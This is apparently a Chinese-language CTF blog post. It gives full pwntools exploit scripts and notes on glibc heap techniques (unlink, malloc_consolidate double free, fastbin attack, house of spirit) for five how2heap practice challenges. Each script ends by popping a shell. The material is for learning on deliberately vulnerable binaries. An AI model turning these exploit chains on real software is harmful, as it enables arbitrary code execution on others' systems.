MENU

how2heap exp

November 25, 2020 • Read: 312 • Pwn

从今天开始写how2heap里面的一些例题,这里会放对应的exp。

babyheap_0ctf_2017(2020.11.25 - 54min)

由于是calloc申请空间的,所以chunk overlapping后需要恢复覆盖到的heap的size。
1.heap overflow
2.chunk overlapping
3.unsorted bin leak
4.fastbin attack __malloc_hook
5.one_gadget

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#r = process('./babyheap_0ctf_2017')
r = remote('node3.buuoj.cn', 26704)
elf = ELF('./babyheap_0ctf_2017')

def choice(idx):
    r.sendlineafter("Command: ", str(idx))

def add_heap(size):
    choice(1)
    r.sendlineafter("Size: ", str(size))

def edit_heap(idx, content):
    choice(2)
    r.sendlineafter("Index: ", str(idx))
    r.sendlineafter("Size: ", str(len(content)))
    r.sendafter("Content: ", content)

def delete_heap(idx):
    choice(3)
    r.sendlineafter("Index: ", str(idx))

def show_heap(idx):
    choice(4)
    r.sendlineafter("Index: ", str(idx))

add_heap(0x18) #0
add_heap(0x18) #1
add_heap(0x88) #2
add_heap(0x18) #3
edit_heap(0, 'a' * 0x18 + '\xb1')

delete_heap(1)
add_heap(0xa8) #1
edit_heap(1, 'a' * 0x18 + '\x91')
delete_heap(2) #2
show_heap(1)
main_arena_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88
print "main_arena_addr: " + hex(main_arena_addr)
malloc_hook_addr = main_arena_addr - 0x10
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
print "libc_base: " + hex(libc_base)

add_heap(0x68) #2
delete_heap(2)
edit_heap(1, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23))
add_heap(0x68) #2

add_heap(0x68) #4
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print "one_gadget: " + hex(one_gadget)
edit_heap(4, 'a' * 0x13 + p64(one_gadget))
delete_heap(4)
#gdb.attach(r)
r.interactive()

Hitcon 2016 SleepyHolder(2020.11.26 - 65min)

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  unsigned int buf; // [rsp+4h] [rbp-1Ch]
  int fd; // [rsp+8h] [rbp-18h]
  int v6; // [rsp+Ch] [rbp-14h]
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_400CEB();
  puts("Waking Sleepy Holder up ...");
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  buf &= 0xFFFu;
  malloc(buf);
  sleep(3u);
  puts("Hey! Do you have any secret?");
  puts("I can help you to hold your secrets, and no one will be able to see it :)");
  while ( 1 )
  {
    puts("1. Keep secret");
    puts("2. Wipe secret");
    puts("3. Renew secret");
    memset(&s, 0, 4uLL);
    read(0, &s, 4uLL);
    v3 = atoi(&s);
    v6 = v3;
    switch ( v3 )
    {
      case 2:
        delete_heap();
        break;
      case 3:
        read_content();
        break;
      case 1:
        add_heap();
        break;
    }
  }
}
unsigned __int64 add_heap()
{
  int v0; // eax
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  if ( !huge_chunk_inuse )
    puts("3. Keep a huge secret and lock it forever");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 2 )
  {
    if ( !large_chunk_inuse )
    {
      large_chunk_ptr = calloc(1uLL, 0xFA0uLL);
      large_chunk_inuse = 1;
      puts("Tell me your secret: ");
      read(0, large_chunk_ptr, 0xFA0uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( !huge_chunk_inuse )
    {
      huge_chunk_ptr = calloc(1uLL, 0x61A80uLL);
      huge_chunk_inuse = 1;
      puts("Tell me your secret: ");
      read(0, huge_chunk_ptr, 0x61A80uLL);
    }
  }
  else if ( v0 == 1 && !small_chunk_inuse )
  {
    small_chunk_ptr = calloc(1uLL, 0x28uLL);
    small_chunk_inuse = 1;
    puts("Tell me your secret: ");
    read(0, small_chunk_ptr, 0x28uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete_heap()
{
  int v0; // eax
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 1 )
  {
    free(small_chunk_ptr);
    small_chunk_inuse = 0;
  }
  else if ( v0 == 2 )
  {
    free(large_chunk_ptr);
    large_chunk_inuse = 0;
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 read_content()
{
  int v0; // eax
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to renew?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 1 )
  {
    if ( small_chunk_inuse )
    {
      puts("Tell me your secret: ");
      read(0, small_chunk_ptr, 0x28uLL);
    }
  }
  else if ( v0 == 2 && large_chunk_inuse )
  {
    puts("Tell me your secret: ");
    read(0, large_chunk_ptr, 0xFA0uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}

由于只能申请三个chunk, small chunk: 0x38, large chunk: 0xFA0, huge chunk: 0x61A80。
huge chunk 用于隔开top chunk,主要利用在于small chunk和large chunk。
Free后指针没有清0,可以free多次。但是由于只能申请一个chunk,所以一般的fastbin attack是不行的。
这里的做法是利用malloc_consolidate来使fastbin进入unsorted bin。

malloc_consolidate 触发条件
1.申请一块为 large bin 范围内的chunk (x86: 0x400; x64: 0x800)
2.申请一块大于 top chunk 的chunk
3.在free函数合并chunk后,如果合并的chunk满足以下条件
a.不属于fastbin
b.不属于map
c.不与top chunk相邻
d.size大于FASTBIN_CONSOLIDATION_THRESHOLD(0x10000)

malloc_consolidate 会干什么
1.清空fastbinY
2.向前合并, unlink
3.判断后一块是不是top chunk,如果是则合并
4.向后合并, unlink
5.清除操作堆块的下一块的p标志位(PREV_INUSE)
6.把fastbin合并后放入unsorted bin中

malloc_consolidate 怎么利用
由于double free的时候会检测fastbin链表的头部,如果头部和当前要释放的指针是同一个,那就触发了double free,从而导致了检测报错。所以一般用a->b->a的方式来绕过,但是这个绕过方法的前提是至少需要申请两个chunk
但是在只能申请一个chunk的题目中,那么利用malloc_consolidate是最好的方法。
这个函数会把当前fastbin的内容放入到unsorted bin中,那么我们这时候再free一次,就构成了,
fastbin有一个指针,unsorted bin又有一个指针,那么就构成了double free。
但是这个double free不是一般利用方法,我们要凭借着malloc_consolidate清除的操作堆块的下一块的p标志位(PREV_INUSE),来进行伪造堆块(fake chunk),成功达成unlink中最重要的条件,来进行unlink从而控制全局堆指针数组。

值得一提的是,如果程序对申请堆块进行了限制,那么可以利用scanf等函数,输入大于0x400长度的文本,函数会申请一块大于0x400的chunk来当做缓冲区,此时也可以触发malloc_consolidate。

题目操作
1.double free(malloc_consolidate)
2.unlink
3.free -> puts, leak atoi@got.plt
4.free -> system
5.getshell

除了第一步,其他都是常规操作了,如果unlink那里没懂的,可以看一下我的另一篇文章,那里有详细的介绍。

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#r = process('./sleepyHolder_hitcon_2016')
r = remote('node3.buuoj.cn', 26219)
elf = ELF('./sleepyHolder_hitcon_2016')
flag = False
def choice(idx):
    r.sendlineafter("3. Renew secret\n", str(idx))

def malloc(type, content):
    #0x28 0xFA0 0x61A80
    choice(1)
    if flag:
        r.sendlineafter("2. Big secret\n", str(type))
    else:
        r.sendlineafter("3. Keep a huge secret and lock it forever\n", str(type))
    r.sendlineafter("Tell me your secret: \n", content)

def free(type):
    choice(2)
    r.sendlineafter("2. Big secret\n", str(type))

def edit(type, content):
    choice(3)
    r.sendlineafter("2. Big secret\n", str(type))
    r.sendlineafter("Tell me your secret: \n", content)

#double free
malloc(1, 'small')
malloc(2, 'big')
free(1)
malloc(3, 'large') #malloc_consolidate
free(1)

#unlink
ptr = 0x6020D0
FD = ptr - 0x18
BK = ptr - 0x10
flag = True
malloc(1, p64(0) + p64(0x21) + p64(FD) + p64(BK) + p64(0x20))
free(2)

#leak atoi@got.plt
edit(1, 'a' * 8 + p64(elf.got['atoi']) + p64(0) + p64(elf.got['free']))
edit(1, p64(elf.plt['puts']) + p64(elf.plt['puts'] + 6))
free(2) #puts(elf.got['atoi'])
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print 'atoi_addr: ' + hex(atoi_addr)
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
print 'libc_base: ' + hex(libc_base)

#free -> system
system_addr = libc_base + libc.dump('system')
print 'system_addr: ' + hex(system_addr)
edit(1, p64(system_addr) + p64(elf.plt['puts'] + 6))

#getshell
malloc(2, 'sh\x00')
free(2)
r.interactive()

HITCON CTF 2014-stkof(2020-11-26 60min)

这道题的难度并不应该需要60min,只是一个简单的unlink。
但是这道题有个坑,现在都没怎么搞明白的坑。
系统会malloc两个块,并且分别穿插在你申请的第一个堆块的上面(0x1011)和下面(0x411)。
查看数据大概猜测,上面那个chunk应该是读入数据时候使用的chunk,而下面的chunk就是输出数据的时候使用的chunk。
分别是fgets和puts创建的。
我刚开始调试的时候百思不得其解,按理来说我都接受了数据,应该缓冲区里面的内容都会被释放吧,但是不知道为啥,这两个块就是卡在这里。

程序并没有进行 setvbuf 操作,因此在初次执行 io 函数时,会在堆上分配空间

所以必须在头部防止一个chunk,来防止这两个块阻拦。从而达到成功修改PREV_INUSE的目的。

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./stkof')
#r = remote('node3.buuoj.cn', 29634)
elf = ELF('./stkof')
def choice(idx):
    r.sendline(str(idx))

def malloc(size):
    choice(1)
    r.sendline(str(size))
    r.recvuntil('OK\n')

def free(idx):
    choice(3)
    r.sendline(str(idx))
    #r.recvuntil('OK\n')

def edit(idx, content):
    choice(2)
    r.sendline(str(idx))
    r.sendline(str(len(content)))
    r.send(content)
    r.recvuntil('OK\n')

malloc(0x18)
malloc(0x88)
malloc(0x88)

ptr = 0x602140 + 0x10
FD = ptr - 0x18
BK = ptr - 0x10

edit(2, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x88 - 0x20 - 0x8) + p64(0x80) + '\x90')
free(3)
#gdb.attach(r)
edit(2, 'a' * 0x18 + p64(elf.got['free']) + p64(elf.got['atoi']) + p64(elf.got['atoi']))
edit(2, p64(elf.plt['puts']))
free(3)
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
edit(4, p64(system_addr))
r.sendline('sh\x00')
r.interactive()

gdb调试.png

嗯,果然是puts申请了0x400,用完还不释放。

2017 insomni'hack wheelofrobots(2020-11-27 225min)

都是熟悉的操作,组合在一起居然可以这么难(恶心)。
做这道题的时候脑子太浑浊了,建议可以把思路写下来再做。

1.UAF & fastbin attack
2.heap overflow
3.unlink
4.free@got.plt -> puts@got.plt & leak
5.free@got.plt -> system@got.plt
6.getshell

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./wheelofrobots')
elf = ELF('./wheelofrobots')

def choice(idx):
    r.sendlineafter("Your choice : ", str(idx))

def add_heap(type, size = 0):
    choice(1)
    r.sendlineafter("Your choice :", str(type))
    if type == 2:
        r.sendlineafter("Increase Bender's intelligence: ", str(size))
    if type == 3:
        r.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
    if type == 6:
        r.sendlineafter("Increase Destructor's powerful: ", str(size))

def delete_heap(type):
    choice(2)
    r.sendlineafter("Your choice :", str(type))

def edit_heap(type, content):
    choice(3)
    r.sendlineafter("Your choice :", str(type))
    r.sendlineafter("Robot's name: ", content)

def mark(data):
    choice(1)
    r.sendlineafter("Your choice :", '1111' + data[0])

#change size
add_heap(2, 1)
delete_heap(2)
mark('\x01')
heap3_size = 0x603140
edit_heap(2, p64(heap3_size - 0x8))
mark('\x00')
add_heap(2, 1) #fastbin: 0x603140->0
add_heap(3, 0x21) #fastbin check
add_heap(1) #0x603140
delete_heap(2)
delete_heap(3)

#unlink
add_heap(6, 7) #98 A1
edit_heap(1, p64(0x8)) #change size, heap overflow
add_heap(4) #key
ptr = 0x6030E8
FD = ptr - 0x18
BK = ptr - 0x10
edit_heap(6, p64(0) + p64(0x91) + p64(FD) + p64(BK) + 'a' * (0x98 - 0x20 - 0x8) + p64(0x90) + p64(0xFB0)) # fake chunk
delete_heap(4) #unlink

#leak
add_heap(2, 1)
edit_heap(6, 'a' * 0x18 + p64(elf.got['free']) + p64(elf.got['atoi']) + '\n')
#free@got.plt -> puts@got.plt
edit_heap(6, p64(elf.plt['puts']) + '\n')
delete_heap(2)
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')

#free@got.plt -> system@got.plt
edit_heap(6, p64(system_addr) + '\n')

#getshell
add_heap(2, 1)
edit_heap(2, "sh")
delete_heap(2)

r.interactive()

hack.lu CTF 2014-OREO(2020-11-28 - 227min)

学习了一下house of spirit,这个操作的基本思想就是构造chunk malloc和free条件,从而伪造堆块(到堆栈上)。
这里分为malloc和free两个部分
malloc的时候fastbin的主要检测就是size位是否符合;
free的时候有两个检测:
1.对当前chunk的SIZE位的检测,IS_MMAPPED 位和 NON_MAIN_ARENA位都要为0,PREV_INUSE不影响。
2.free的时候有一个对next chunk的检测

if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
                      <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                         >= av->system_mem, 0))
  {
    bool fail = true;
    /* We might not have a lock at this point and concurrent modifications
       of system_mem might result in a false positive.  Redo the test after
       getting the lock.  */
    if (!have_lock)
      {
        __libc_lock_lock (av->mutex);
        fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
                || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
        __libc_lock_unlock (av->mutex);
      }
    if (fail)
      malloc_printerr ("free(): invalid next size (fast)");
  }

意思就是next chunk (根据当前的size计算得出)的size要在

2 * SIZE_SZ <= size <= av->system_mem

范围内,在64为下SIZE_SZ为8,也就是要大于0x10,system_mem是128kb,也就是要小于128kb(0x20000)

这道题很多打印都没有\n,所以信息不会立马返回,要用r.sendline来代替r.sendlineafter
这道题伪造的chunk在BSS上,在堆栈上的题目也是这个原理,但是要更加复杂一些。
chunk的结构体,用IDA导入(Shift + F1),方便分析程序。

struct node
{
  char description[25];
  char name[27];
  _DWORD next_ptr;
};
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./oreo')
elf = ELF('./oreo')

def choice(idx):
    #r.sendlineafter("Action: ", str(idx))
    r.sendline(str(idx))

def add(next_ptr):
    choice(1)
    r.sendline('a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
    r.sendline('sh\x00')
    #r.sendlineafter("Rifle name: ", 'a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
    #r.sendlineafter("Rifle description: ", 'a')

def show():
    choice(2)

def free():
    choice(3)

def add_msg(msg):
    choice(4)
    r.sendline(msg)
    #r.sendlineafter("Enter any notice you'd like to submit with your order: ", msg)

def show_stats():
    choice(5)

msg_chunk_ptr = 0x0804A2C0
add(elf.got['puts'])
show()
puts_addr = u32(r.recvuntil('\xf7')[-4:].ljust(4, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print "libc_base: " + hex(libc_base)
system_addr = libc_base + libc.dump('system')

#fake chunk mark (0x41)
for i in range(0x41 - 0x2):
    add(0)

add_msg(p32(0) + p32(0x41) + '\x00' * (0x40 - 0x8) + p32(0x21))
add(msg_chunk_ptr + 0x8)

free()
order_msg_ptr = 0x0804A2A8
FD = order_msg_ptr - 0x8
add_msg(p32(0) + p32(0x41) + p32(FD))

add(0)
choice(1)
r.sendline('a')
r.sendline(p32(elf.got['free']))

#free -> system
add_msg(p32(system_addr) + p32(elf.plt['fgets'] + 6))
add(0)
free()

r.interactive()

后续更新:
这道题目远程打不通,这里给出靶机提供者所说的话
cutz: yea the libc is self compiled [and] guessing offset sucks ^^
1.所以这道题可能要用ret2_dl_resolve来做。
2.这道题目虽然是NO RELRO,但是没有空间可以用于写入STRTAB。所以暂时不知道怎么解决。
3.我终于解决了,成功篡改STRTAB,但是需要很多的技巧,这部分内容我选择放到:http://blog.wjhwjhn.com/archives/81/ 这篇文章中,作为NO RELRO的例子来描述。
4.在how2heap看到的一篇文章,因为是英文的,所以没有仔细研究:http://wapiflapi.github.io/2014/11/17/hacklu-oreo-with-ret2dl-resolve.html

2020-11-29 后面的太难了,先去做点基础的练练手,poison_null_byte.c

Last Modified: December 4, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code